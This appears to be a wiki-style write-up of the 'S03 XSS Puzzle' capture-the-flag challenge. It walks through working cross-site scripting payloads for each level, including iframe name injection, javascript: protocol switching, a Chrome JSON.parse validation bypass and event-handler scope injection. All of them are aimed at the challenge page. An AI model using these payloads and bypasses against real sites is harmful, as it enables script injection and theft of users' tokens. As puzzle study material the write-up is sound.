-
Notifications
You must be signed in to change notification settings - Fork 221
S03 XSS Puzzle
URL:
http://www.shafigullin.pro/s03/
Original Writeup:
https://www.linkedin.com/pulse/s03-xss-puzzle-writeup-roman-x-shafigullin
Goal of this challenge was execute alert(secret.token) on challenge domain.
window[config.caller][config.callback] = window[config.state];
Model solution is:
<iframe src=http://www.shafigullin.pro/s03/s03.html?level=0#<svg/onload=alert(secret.token)> name='{"caller":"config","callback":"innerHTML","state":"location"}'>
Let’s check what happens here:
var data = JSON.parse(name);
for (var key in data) {
if (!(/^\w+$/.test(data[key]) && /^\w+$/.test(key))) {
throw 'Wrong config format';
}
}
var json = JSON.stringify(data);
document.write('<input type="hidden" id="config" value=\'' + json + '\'>');
it means that all params/values must be words that can contain only a-z0-9_ so usual HTML injection is not working here after that we call window[config.caller][config.callback] = window[config.state];
So we take our hidden input element and set innerHTML:
window.config.innerHTML = 'http://www.shafigullin.pro/s03/s03.html?level=0#<svg/onload=alert(secret.token)>'
window[config.caller][config.callback] = config.state;
On this level we can use only word to set.
Model solution is:
window.location.protocol = 'javascript';
javascript://www.shafigullin.pro/s03/s03.html?level=0#%0aalert(secret.token)
It easy and beautiful, confirmed by @kinugawamasato, @Paul_Axe, @OrenHafif, @SecurityMB
window[config.caller][config.callback](config.state);
This level bit harder, because we don’t have available function that by executing word would run alert(secret.token);. But as in all my puzzles, solution is not where you looking for it. In hints I mentioned Ghost Property bug that can be found with fuzzing, this bug allows to bypass if (!(/^\w+$/.test(data[key]) && /^\w+$/.test(key)))
validation.
If we pass JS encoded number as key, after parsing with V8 JSON.parse we see empty object, but when we stringify it, value returns back.
Jüri found and created amazing exploit for this bug that costs $27.633.70 https://code.google.com/p/chromium/issues/detail?id=416449
Close to model solution @OrenHafif and @BenHayak sent this:
<iframe src="http://www.shafigullin.pro/s03/s03.html?level=2" id="test1" name='{"caller":"config","callback":"click","state":"aa",
"\u0035":"&#x\u0035c\"}'onclick='alert(secret.token)//"}'>
That creates onclick attribute in hidden input and emulates click: window.config.click('aa');
window[config.caller].postMessage(config.state, '*');
We don’t have access to any method from hidden input (config) anymore, and we don’t need that, because we can run script earlier.
This code reads all properties from hidden input (config) that was in JSON (data)
for (var key in data) {
if (config[key] || typeof config[key] == 'string') {
Let’s see what happens in Chrome
document.body.innerHTML = '<input id="config" type="hidden" onclick="console.log(arguments)">';
config.onclick()
in <function scope>
you can find interesting expression
function () {with (this[2]) {with (this[1]) {with (this[0]) {return function(event) {console.log(arguments)
};}}}}
So we see how created event handler function, but what if we inject there.
function () {with (this[2]) {with (this[1]) {with (this[0]) {return function(event) {console.log(arguments)
};}}}},
alert(1),
function () {with (this[2]) {with (this[1]) {with (this[0]) {return function(event) {
};}}}}
And simplify
document.body.innerHTML = '<input id="config" type="hidden" onclick="}}}}},alert(1),function(){{{{{">';
config.onclick
It gives us ability to run script compile time, so calling function is not required just call getter like `config.onclick`. `console.log(config)` also works, but requires opened console. No one found solution, maybe next time.